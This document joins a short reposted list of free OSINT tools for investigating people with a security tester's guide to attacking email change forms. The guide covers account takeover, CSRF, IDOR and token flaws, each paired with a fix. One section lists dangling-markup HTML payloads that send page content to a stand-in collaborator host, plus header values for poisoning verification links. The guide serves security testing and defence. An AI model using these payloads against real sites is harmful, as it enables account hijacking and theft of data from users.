According to the creator of the Reddit Search tool, this application allows for cross-post and comment search, as well as specific user or subreddit search. In addition, OSINT analysts can aggregate data to identify trends. As of 2022, reddit is blocked in India, Indonesia, Russia, and China.

This service allows you to browse radio stations by rotating the 3D globe. It doesn’t map all of the existing stations but it’s a helpful tool to add local reference sources to your report. 

The Snap Map service ran by Snapchat aggregates a selection of public snapchat media. The information includes geolocations.

Strava’s Global Heatmap focuses specifically on monitoring and visualising ‘heat’ made by aggregated, public activities over the last year. The public data shared by athletes from around the world identifies activity hotspots. The tool is also used by athletes to identify their next destination.

For those investigating events from all angles, weather conditions can play an important part in explaining the context of the POI’s movements. The Ventusky app provides interesting food for thought. The tool clearly displays meteorological data from around the world and allows users to monitor weather developments for any place on Earth at different times. Depending on data sources, some of the data visualisations date back decades. 

The Wayback Machine captures websites as they are and stores the screenshot, url changes, and the timeline of changes for reference. The Wayback Machine is a crucial resource in the fight against disinformation as it records content meant to be ephemeral.

TinEye’s computer vision, image recognition and reverse image search matches your upload image with its duplicates online. It’s a useful tool for verifying users activity or connecting images to stock images databases.

Whois lists domain information allowing users to check the person owning the website you are looking at. The information provided to the Whois registry is voluntarily provided by the domain owners and unverified by the service.

A useful email verification tool, which connects to the mail server and checks whether the mailbox exists or not.

Originally published at: https://www.hensoldt-analytics.com/2022/08/22/free-osint-tools-for-person-of-interest-investigations/

AppSec Tales IV | Email Change
by Karol Mazurek

Application Security Testing of the Email Change form guidelines.

INTRODUCTION

This is the fourth article in the AppSec series which describes how to test Email Change forms to ensure a secure authentication process.
The advice in this article is based on:

  • OWASP Web Security Testing Guide
  • OWASP Application Security Verification Standard
  • NIST recommendations
  • bug bounty reports
  • own experience.

I will provide a short test sample, a potential impact or an attack scenario, and a possible solution to the problem at each point.

GUIDELINES

I. BROKEN PROCESS

Check if the email change process flow is implemented correctly.

  • If the attacker successfully exploits another flaw, like CSRF or XSS in the application, he could change the email address of the victim thus hijacking his account.
  • With temporary access to the victim’s account (e.g. physical access to a device with an active session), an attacker could associate a new e-mail to the account and then use password recovery to hijack it.
  • An attacker could use the victim’s email without verification thus sending phishing to him from the application.
Source: Own study — Proper email change process chart.

Password verification on email change requests should be implemented.
The application should not block the new email address before its verification.
The new address should not be accepted and used without verification.
The old email address should be free to use after the change.

II. EMAIL BLOCKING (DoS)

Check if you can block email addresses you do not own from using.

  • The attacker could block email addresses from using.
Source: Own study — Email blocking testing flow.

The application should not block the new email address before its verification.

III. SHARED EMAIL ADDRESS

Change the email address to one already in use by another account.

  • The attacker could use this for a phishing campaign by sending messages from the application to the victim using their email address.
  • Another scenario may be that the attacker makes purchases from his account, the invoice to be paid will then be sent to the email of the victim, who may accidentally pay for the order.
  • A victim’s mailbox can be flooded with huge amounts of e-mail messages, as a result, the mail server can place messages from the target application in the spam or block them completely from delivery.
Source: Own study — Testing shared email address.

The email address should be associated with only one account.

IV. ENUMERATION

Check if it is possible to enumerate email addresses.

Source: Own study — Email addresses enumeration using email change feature page.

The generic message should be implemented and the timing difference should not be significant enough to allow user enumeration.

V. BROKEN ACCESS CONTROL — OLD EMAIL REUSAGE

Check if you can use the old email to access any functionality.

  • The attacker who compromised the victim’s old email address could hijack his application account.

Old email addresses should not be accepted anywhere except registration and not be only “deactivated” in the database while still bound to the old account.

VI. PASSWORD RECOVERY FLAWS AFTER EMAIL CHANGE

Check the password recovery feature after changing the email.

  • The attacker who compromised the victim’s old email address could hijack his application account.
Source: Own study — Password recovery flaws after email change testing flow.

The token should be invalidated after the email change and not sent to the old email address.

VII. SHARED TOKEN

Use an email verification token to access other features.

  • The attacker could reset the victim’s account password using the password recovery mechanism.
  • Additionally, a victim may accidentally forward this token to a third party, unaware that it could be used against him.
Source: Own study — Using password recovery feature with email change verification token.

The token generated by a given functionality should only work for it.

VIII. WEAK EMAIL CHANGE TOKEN

Ensure that generated tokens are secure.

  • The attacker could reuse the token, thus hijacking the victim’s account.
  • Since the token would be easily guessed, the attacker could change the victim’s password and hijack the victim’s account.
  • If the token does not have an expiry date, there could be a situation where the attacker would compromise the victim’s old email inbox with an unused token that he could use to hijack his account.
Source: Own study — Email change token testing flow.
Source: Own study — Loading all tokens from the file into Burp Sequencer.

The token should be at least 32 characters long, generated using a secure source of randomness, single-use, time-limited, and bound to account.

IX. BROKEN TOKEN INVALIDATION

Change email twice and try to use the old token.

  • There may be a situation where the user made a mistake during the e-mail address change, in that case, someone could use such a token and hijack the account.
Source: Own study — Testing Broken Token Invalidation.

Only the newest token should work.

X. IDOR

Abuse the Email Change API by issuing another account email.

  • An attacker could hijack the victim’s account just by knowing its email.

 

Source: Own study — Testing Insecure Direct Object Reference on email change (fuzzing wordlist).

The API should reject the email changes of another user.
Password verification on email change requests should be properly implemented.

XI. CSRF

Check the CSRF protection on the email change feature.

  • An attacker creates a web page, inserts a hidden CSRF form, then lures the victim to visit it — the email will be changed automatically.
Source: Own study — Generating CSRF PoC using Burp Suite I.
Source: Own study — Generating CSRF PoC using Burp Suite II.

Implement an unpredictable token in each HTTP request.
Such tokens should, at a minimum, be unique per user session.
Check CSRF Prevention Cheat Sheet from OWASP.

XII. NO RATE-LIMITING — MAILBOX FLOODING

Send the email change request 1000 times in a short time.

  • The attacker could send password recovery tokens massively to a victim’s inbox, causing its saturation which eventually hides important information from other emails.
  • Facilitates the attacker in the enumeration of email addresses, gathering token samples, and blocking emails.
Source: Own study — Setting up Burp Intruder for the email change rate-limit test.

Restrict the consecutive requests through mechanisms like time delay, CAPTCHA, or other controls. No more than 100 failed attempts per hour should be possible on a single account.

XIII. INPUT LENGTH LIMITATIONS

Check parameter values length limits.

  • The most common issue is that the hashing mechanism on the password parameter value causes DoS.
  • An overlong email address could crash the database.
Source: Own study — Proper length limitations.

Implement proper length limitations on the data received from the user.

XIV. SESSION PUZZLING

Swap the new email with the old email.

  • An attacker could hijack a victim’s account only by knowing its email.
Source: Own study — Session Puzzling testing flow.

Session variables should only be used for a single consistent purpose.

XV. VERIFICATION LINK POISONING

Poison the domain part of the email change link.

  • It could allow the attacker to hijack the account of the victim user who clicked on the poisoned email change link.

 

Source: Own study — The testing flow of email change poisoning (fuzzing wordlist).

DANGLING MARKUPS PAYLOADS

"><img src='//domain_collab? 
"><img src='http://domain_collab/log.php?HTML=
"><meta http-equiv="refresh" content='0; url=http://domain_collab/log.php?text=
"><meta http-equiv="refresh" content='0;URL=file://domain_collab?a=
"><table background='//domain_collab?'
"><base href='http://domain_collab/'>
"><button name=xss type=submit formaction='https://domain_collab'>I get consumed!
"><input type='hidden' name='review_body' value="
"><form action=http://domain_collab><input type="submit">Click Me</input><select name=xss><option
"><noscript><form action=http://domain_collab><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
"><script src='/search?q=a&call=alert(1)'></script>
"><html><head></head><body><script>top.window.location = "https://domain_collab/hacked.html"</script></body></html>
"><portal src='https://domain_collab?

ADDITIONAL HEADERS

X-Originating-IP: domain_collab
X-Forwarded-For: domain_collab
X-Remote-IP: domain_collab
X-Remote-Addr: domain_collab
X-Client-IP: domain_collab
X-Host: domain_collab
X-Forwarded-Host: domain_collab
X-Forwarded-Server: domain_collab
X-HTTP-Host-Override: domain_collab
Forwarded: domain_collab

Avoid using the Host header altogether in server-side code.
Double-check whether each URL needs to be absolute & avoid additional headers.

XVI. PARAMETER POISONING

Try to duplicate the new email address parameter.

  • There could be inconsistency between change email API and verification token generator which could send a verification link to the first email address but activate the second one.

 

Source: Own study — Duplicating email change new email parameter (fuzzing wordlist).

Email change API should not accept multiple values for the same parameter.

XVII. MASS ASSIGNMENT

Change|add permissions during email change.

  • An attacker could get an administration privileged, bypass paying a subscription fee if it is implemented, or get to the restriction area.

 

Source: Own study — Mass assignment testing flow (example of a fuzzing wordlist).

 

Source: Own study — Using the Param Miner extension.

Granting permissions should not depend on user-controllable location, such as a hidden field, cookie, or preset query string parameter.

XVIII. SUPPORT CHANGE

Ask the application support for an email change.

  • An attacker could hijack any user account just by knowing its email.
Source: Own study — Social engineering attack on email change.

The internal guidelines for customer support should be as safe as technical security measures.

XIX. PRE-ACCOUNT TAKEOVER

Check no password registration methods.

  • The attacker could hijack an account that was created with SSO.
  • The attacker could set a trap by registering an account using the no password method and waiting for the victim to register with an email.
Source: Own study — Testing no password registering methods.

Email validation should be implemented.

XX. INPUT VALIDATION

Check the AppSec Tales I and AppSec Tales II.

Check the Input Validation Cheat Sheet from OWASP.

XXI. MISSING PASSWORD FIELD MASKING

Check if the software does mask passwords during entry.

  • Increasing the potential for attackers to observe and capture passwords.
Source: Own study — Example of missing password field masking.

Include a password field mask and an option to view the masked password.

XXII. CREDENTIALS OVER AN UNENCRYPTED CHANNEL

Check if data is transferred via HTTP or as a parameter in the URL.

  • Sensitive data may be logged by the browser, the webserver, and forward or reverse proxy servers between the two endpoints.
  • It could be also displayed on-screen, bookmarked, or emailed around by users.
  • They may be disclosed to third parties via the Referer header when any off-site links are followed.
Source: Own study — Example of sensitive data transmitted in the path and using HTTP.

Sensitive data in the URL and sent using not secure Hypertext Transfer Protocol increases the risk that it will be captured.

FINAL WORDS

Testing any element of a Web Application is like sailing the open ocean.
Treat the WSTG like the compass and the ASVS like azimuth.

However, do not forget that someone had to invent it. Therefore you always have to look for new ways that you will not find in the WSTG or here, but you have to find them yourself.

Nevertheless, I hope you will find this article useful and keep coming back to it. I also encourage you to comment if you have an idea for a point for this article or if you find any bugs here ;]

Originally posted at: https://systemweakness.com/appsec-tales-iv-email-change-c7c0ec867b6c